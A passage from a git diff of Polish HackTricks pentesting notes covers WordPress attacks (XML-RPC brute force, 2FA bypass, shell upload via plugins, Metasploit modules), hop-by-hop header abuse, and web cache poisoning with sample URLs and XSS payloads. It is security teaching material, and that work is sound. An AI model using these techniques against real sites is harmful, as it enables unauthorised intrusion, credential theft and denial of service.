danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sól oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów. ### Uprawnienia użytkowników @@ -85,19 +77,11 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - ## Aktywna enumeracja ### Wtyczki i motywy -Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie przeprowadzić Brute Force listy Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy). +Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie przeprowadzić Brute Force na liście Wtyczek i Motywów** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają te listy). ### Użytkownicy @@ -123,7 +107,7 @@ Również zauważ, że **/wp-json/wp/v2/pages** może ujawniać adresy IP. ### XML-RPC -Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do przeprowadzenia ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład). +Jeśli `xml-rpc.php` jest aktywne, możesz przeprowadzić atak brute-force na dane logowania lub użyć go do przeprowadzania ataków DoS na inne zasoby. (Możesz zautomatyzować ten proces[ używając tego](https://github.com/relarizky/wpxploit) na przykład). Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie: @@ -150,7 +134,7 @@ Aby sprawdzić, czy jest aktywne, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ ``` Wiadomość _"Nieprawidłowa nazwa użytkownika lub hasło"_ wewnątrz odpowiedzi z kodem 200 powinna się pojawić, jeśli dane uwierzytelniające są nieprawidłowe. -![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) +![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) @@ -190,7 +174,7 @@ Istnieje również **szybszy sposób** na brutalne łamanie haseł za pomocą ** **Obejście 2FA** -Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się z tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać za pomocą konsoli, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Ta metoda jest przeznaczona dla programów, a nie dla ludzi, i jest stara, dlatego nie obsługuje 2FA. Jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz być w stanie wykorzystać xmlrpc.php do zalogowania się tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, które możesz wykonać przez konsolę, ale nadal możesz uzyskać dostęp do RCE, jak wyjaśnia to Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS lub skanowanie portów** @@ -207,9 +191,9 @@ Można to wykorzystać do poproszenia **tysięcy** stron **Wordpress** o **dost ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty. +Jeśli otrzymasz **faultCode** z wartością **większą** niż **0** (17), oznacza to, że port jest otwarty. -Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak wykorzystać tę metodę do spowodowania DDoS. +Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużywać tej metody, aby spowodować DDoS. **DDoS** ```markup @@ -245,7 +229,7 @@ To jest odpowiedź, gdy to nie działa: To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać. -## Automatic Tools +## Narzędzia automatyczne ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) @@ -253,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Uzyskaj dostęp przez nadpisanie bitu -Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Można było więc zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`). +Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogłeś zmienić 1 bit w dowolnym pliku wordpress. Można było zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zrealizować operację NOP dla NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -276,6 +260,8 @@ Możesz użyć: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` +aby uzyskać sesję. + ## Plugin RCE ### PHP plugin @@ -297,17 +283,17 @@ Kliknij na Kontynuuj: ![](<../../images/image (70).png>) -Prawdopodobnie to nic nie zrobi, ale jeśli przejdziesz do Mediów, zobaczysz przesłany shell: +Prawdopodobnie to nic nie zrobi na pierwszy rzut oka, ale jeśli przejdziesz do Mediów, zobaczysz przesłaną powłokę: ![](<../../images/image (462).png>) -Uzyskaj do niego dostęp, a zobaczysz URL do wykonania reverse shell: +Uzyskaj do niej dostęp, a zobaczysz URL do wykonania odwrotnej powłoki: ![](<../../images/image (1006).png>) -### Uploading and activating malicious plugin +### Przesyłanie i aktywacja złośliwej wtyczki -Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania web shell. Proces ten przeprowadza się przez pulpit WordPressa w następujący sposób: +Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako podatna i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten przeprowadza się przez pulpit WordPressa w następujący sposób: 1. **Pozyskanie wtyczki**: Wtyczka jest pozyskiwana z źródła takiego jak Exploit DB jak [**tutaj**](https://www.exploit-db.com/exploits/36374). 2. **Instalacja wtyczki**: @@ -315,7 +301,7 @@ Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana jako p - Prześlij plik zip pobranej wtyczki. 3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi być aktywowana przez pulpit. 4. **Eksploatacja**: -- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ jest znana jako podatna. +- Z wtyczką "reflex-gallery" zainstalowaną i aktywowaną, można ją wykorzystać, ponieważ wiadomo, że jest podatna. - Framework Metasploit zapewnia exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można nawiązać sesję meterpreter, co daje nieautoryzowany dostęp do witryny. - Zauważono, że to tylko jedna z wielu metod eksploatacji witryny WordPress. @@ -323,16 +309,16 @@ Zawartość zawiera wizualne pomoce ilustrujące kroki w pulpicie WordPressa dot **Aby uzyskać bardziej szczegółowe kroki, sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## From XSS to RCE +## Od XSS do RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPress 6.X.X, 5.X.X i 4.X.X oraz pozwala na:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPressie. Aby uzyskać więcej informacji, sprawdź [**ten post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Oferuje **wsparcie dla wersji WordPressa 6.X.X, 5.X.X i 4.X.X oraz pozwala na:** - _**Eskalacja uprawnień:**_ Tworzy użytkownika w WordPressie. - _**(RCE) Przesyłanie złośliwej wtyczki (backdoor):**_ Prześlij swoją złośliwą wtyczkę (backdoor) do WordPressa. - _**(RCE) Edycja wbudowanej wtyczki:**_ Edytuj wbudowane wtyczki w WordPressie. - _**(RCE) Edycja wbudowanego motywu:**_ Edytuj wbudowane motywy w WordPressie. -- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów WordPressa innych firm. +- _**(Custom) Złośliwe exploity:**_ Złośliwe exploity dla wtyczek/motywów stron trzecich WordPressa. -## Post Exploitation +## Po eksploatacji Wyciągnij nazwy użytkowników i hasła: ```bash @@ -364,7 +350,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); - **REST API** -Możliwe jest również udostępnienie funkcji z WordPressa, rejestrując REST API za pomocą funkcji `register_rest_route`: +Możliwe jest również udostępnienie funkcji z WordPressa, rejestrując REST AP za pomocą funkcji `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -376,7 +362,7 @@ $this->namespace, '/get/', array( ``` `permission_callback` to funkcja zwrotna, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. -**Jeśli używana jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.** +**Jeśli używana jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzanie uprawnień użytkownika.** - **Bezpośredni dostęp do pliku php** @@ -408,12 +394,4 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**. - **Ogranicz próby logowania** w celu zapobiegania atakom Brute Force - Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP. -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md index 1e9189a40..4db2519c7 100644 --- a/src/pentesting-web/abusing-hop-by-hop-headers.md +++ b/src/pentesting-web/abusing-hop-by-hop-headers.md @@ -2,29 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, kongres ten jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie. - -{% embed url="https://www.rootedcon.com/" %} - --- **To jest podsumowanie posta** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) -Nagłówki hop-by-hop są specyficzne dla pojedynczego połączenia na poziomie transportu, używane głównie w HTTP/1.1 do zarządzania danymi między dwoma węzłami (takimi jak klient-proxy lub proxy-proxy) i nie są przeznaczone do przekazywania. Standardowe nagłówki hop-by-hop to `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` i `Proxy-Authenticate`, jak zdefiniowano w [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Dodatkowe nagłówki mogą być oznaczone jako hop-by-hop za pomocą nagłówka `Connection`. +Nagłówki hop-by-hop są specyficzne dla pojedynczego połączenia na poziomie transportu, używane głównie w HTTP/1.1 do zarządzania danymi między dwoma węzłami (takimi jak klient-proxy lub proxy-proxy) i nie są przeznaczone do przekazywania. Standardowe nagłówki hop-by-hop obejmują `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` i `Proxy-Authenticate`, zgodnie z definicją w [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1). Dodatkowe nagłówki mogą być oznaczone jako hop-by-hop za pomocą nagłówka `Connection`. -### Abusing Hop-by-Hop Headers +### Wykorzystywanie nagłówków hop-by-hop Nieprawidłowe zarządzanie nagłówkami hop-by-hop przez proxy może prowadzić do problemów z bezpieczeństwem. Chociaż od proxy oczekuje się usunięcia tych nagłówków, nie wszystkie to robią, co stwarza potencjalne luki. -### Testing for Hop-by-Hop Header Handling +### Testowanie obsługi nagłówków hop-by-hop -Zarządzanie nagłówkami hop-by-hop można testować, obserwując zmiany w odpowiedziach serwera, gdy konkretne nagłówki są oznaczone jako hop-by-hop. Narzędzia i skrypty mogą zautomatyzować ten proces, identyfikując, jak proxy zarządzają tymi nagłówkami i potencjalnie odkrywając błędne konfiguracje lub zachowania proxy. +Obsługę nagłówków hop-by-hop można testować, obserwując zmiany w odpowiedziach serwera, gdy konkretne nagłówki są oznaczone jako hop-by-hop. Narzędzia i skrypty mogą zautomatyzować ten proces, identyfikując, jak proxy zarządzają tymi nagłówkami i potencjalnie odkrywając błędne konfiguracje lub zachowania proxy. Wykorzystywanie nagłówków hop-by-hop może prowadzić do różnych implikacji bezpieczeństwa. Poniżej znajdują się kilka przykładów ilustrujących, jak te nagłówki mogą być manipulowane w celu potencjalnych ataków: -### Bypassing Security Controls with `X-Forwarded-For` +### Ominięcie kontroli bezpieczeństwa za pomocą `X-Forwarded-For` Atakujący może manipulować nagłówkiem `X-Forwarded-For`, aby obejść kontrole dostępu oparte na IP. Ten nagłówek jest często używany przez proxy do śledzenia oryginalnego adresu IP klienta. Jednak jeśli proxy traktuje ten nagłówek jako hop-by-hop i przekazuje go bez odpowiedniej walidacji, atakujący może sfałszować swój adres IP. @@ -35,20 +29,14 @@ Atakujący może manipulować nagłówkiem `X-Forwarded-For`, aby obejść kontr 3. Źle skonfigurowane proxy przekazuje żądanie do aplikacji internetowej bez sfałszowanego nagłówka `X-Forwarded-For`. 4. Aplikacja internetowa, nie widząc oryginalnego nagłówka `X-Forwarded-For`, może uznać żądanie za pochodzące bezpośrednio z zaufanego proxy, co potencjalnie umożliwia nieautoryzowany dostęp. -### Cache Poisoning via Hop-by-Hop Header Injection +### Zatrucie pamięci podręcznej poprzez wstrzykiwanie nagłówków hop-by-hop -Jeśli serwer cache'ujący błędnie buforuje zawartość na podstawie nagłówków hop-by-hop, atakujący może wstrzyknąć złośliwe nagłówki, aby zanieczyścić pamięć podręczną. To spowoduje dostarczanie niepoprawnej lub złośliwej zawartości użytkownikom żądającym tego samego zasobu. +Jeśli serwer pamięci podręcznej błędnie buforuje zawartość na podstawie nagłówków hop-by-hop, atakujący może wstrzyknąć złośliwe nagłówki, aby zatruć pamięć podręczną. To spowoduje serwowanie niepoprawnej lub złośliwej zawartości użytkownikom żądającym tego samego zasobu. **Scenariusz ataku:** 1. Atakujący wysyła żądanie do aplikacji internetowej z nagłówkiem hop-by-hop, który nie powinien być buforowany (np. `Connection: close, Cookie`). -2. Źle skonfigurowany serwer cache'ujący nie usuwa nagłówka hop-by-hop i buforuje odpowiedź specyficzną dla sesji atakującego. -3. Przyszli użytkownicy żądający tego samego zasobu otrzymują buforowaną odpowiedź, która była dostosowana do atakującego, co potencjalnie prowadzi do przejęcia sesji lub ujawnienia wrażliwych informacji. - -
- -[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, kongres ten jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie. - -{% embed url="https://www.rootedcon.com/" %} +2. Źle skonfigurowany serwer pamięci podręcznej nie usuwa nagłówka hop-by-hop i buforuje odpowiedź specyficzną dla sesji atakującego. +3. Przyszli użytkownicy żądający tego samego zasobu otrzymują buforowaną odpowiedź, która była dostosowana dla atakującego, co potencjalnie prowadzi do przejęcia sesji lub ujawnienia wrażliwych informacji. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 028d515f1..f557aa911 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -2,14 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} - ## Różnica > **Jaka jest różnica między zatruciem pamięci podręcznej a oszustwem pamięci podręcznej?** @@ -21,11 +13,11 @@ Uzyskaj dostęp już dziś: Zatrucie pamięci podręcznej ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej. -Wykonanie ataku zatrucia pamięci podręcznej obejmuje kilka kroków: +Wykonanie ataku typu zatrucie pamięci podręcznej obejmuje kilka kroków: 1. **Identyfikacja niekluczowych wejść**: Są to parametry, które, chociaż nie są wymagane do zbuforowania żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystywane do manipulacji pamięcią podręczną. 2. **Wykorzystanie niekluczowych wejść**: Po zidentyfikowaniu niekluczowych wejść, kolejnym krokiem jest ustalenie, jak niewłaściwie wykorzystać te parametry, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego. -3. **Zapewnienie, że skażona odpowiedź jest zbuforowana**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas zatrucia pamięci podręcznej otrzyma skażoną odpowiedź. +3. **Zapewnienie, że skażona odpowiedź jest zbuforowana**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas zanieczyszczenia pamięci podręcznej otrzyma skażoną odpowiedź. ### Odkrycie: Sprawdź nagłówki HTTP @@ -33,15 +25,15 @@ Zazwyczaj, gdy odpowiedź została **przechowana w pamięci podręcznej**, będz ### Odkrycie: Kody błędów pamięci podręcznej -Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z błędnym nagłówkiem**, na które powinien być odpowiedź z **kodem statusu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod statusu 400**, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS). +Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z błędnym nagłówkiem**, na które powinieneś otrzymać **kod statusu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod statusu 400**, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS). -Możesz znaleźć więcej opcji w: +Więcej opcji znajdziesz w: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -Jednak zauważ, że **czasami te rodzaje kodów statusu nie są buforowane**, więc ten test może nie być wiarygodny. +Jednak pamiętaj, że **czasami te rodzaje kodów statusu nie są buforowane**, więc ten test może nie być wiarygodny. ### Odkrycie: Identyfikacja i ocena niekluczowych wejść @@ -58,13 +50,13 @@ Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest **sanitizowany** i * Gdy już **zidentyfikujesz** **stronę**, którą można wykorzystać, który **parametr**/**nagłówek** użyć i **jak** go **wykorzystać**, musisz uzyskać stronę w pamięci podręcznej. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możesz musieć próbować przez kilka sekund. Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest w pamięci podręcznej.\ -Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest buforowany i kiedy będzie następny raz buforowany: `Cache-Control: public, max-age=1800` +Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest buforowany i kiedy następnym razem zasób zostanie ponownie zapisany w pamięci podręcznej: `Cache-Control: public, max-age=1800` -Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników korzystających z tego konkretnego `User-Agent`. +Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników używających tego konkretnego `User-Agent`. Jeszcze jednym nagłówkiem związanym z pamięcią podręczną jest **`Age`**. Określa czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy. -Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej przy użyciu **różnych przeglądarek**, aby sprawdzić, czy działa. +Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej za pomocą **różnych przeglądarek**, aby sprawdzić, czy działa. ## Przykłady wykorzystania @@ -105,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md ### Zatrucie pamięci podręcznej z wykorzystaniem przejścia ścieżki w celu kradzieży klucza API -[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), jak możliwe było skradzenie klucza API OpenAI za pomocą adresu URL takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego. +[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było skradzenie klucza API OpenAI za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego. Jest to również lepiej wyjaśnione w: @@ -150,13 +142,13 @@ Na przykład, możliwe jest oddzielenie **parametrów** w serwerach ruby za pomo Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### Wykorzystywanie zatrucia pamięci podręcznej HTTP poprzez nadużywanie HTTP Request Smuggling +### Wykorzystywanie złośliwego cache HTTP poprzez nadużywanie HTTP Request Smuggling -Dowiedz się tutaj, jak przeprowadzać [ataki na zatrucie pamięci podręcznej, nadużywając HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +Dowiedz się tutaj, jak przeprowadzać [ataki Cache Poisoning, nadużywając HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). -### Automatyczne testowanie dla zatrucia pamięci podręcznej +### Automatyczne testowanie dla Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania pod kątem zatrucia pamięci podręcznej. Obsługuje wiele różnych technik i jest wysoce konfigurowalny. +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania pod kątem złośliwego cache. Obsługuje wiele różnych technik i jest wysoce konfigurowalny. Przykład użycia: `wcvs -u example.com` @@ -164,45 +156,45 @@ Przykład użycia: `wcvs -u example.com` ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS przesłał fragment w URL bez jego usuwania i wygenerował klucz pamięci podręcznej, używając tylko hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz pamięci podręcznej nie zawierał ładunku, tylko host, ścieżkę i zapytanie. +ATS przesłał fragment w URL bez jego usuwania i wygenerował klucz cache tylko przy użyciu hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz cache nie zawierał ładunku, tylko host, ścieżkę i zapytanie. ### GitHub CP-DoS -Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpowiedzi 405 w pamięci podręcznej. Klucz pamięci podręcznej zawierał ciasteczko, więc możliwe było zaatakowanie tylko użytkowników nieautoryzowanych. +Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpowiedzi 405 w cache. Klucz cache zawierał ciasteczko, więc możliwe było zaatakowanie tylko użytkowników nieautoryzowanych. ### GitLab + GCP CP-DoS -GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Możliwe było więc wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie pamięci podręcznej, aby zwrócić pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`. +GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Możliwe było więc wysłanie nagłówka `x-http-method-override: HEAD` i zainfekowanie cache, aby zwracał pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`. ### Rack Middleware (Ruby on Rails) -W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie go jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa. +W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie jej jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej 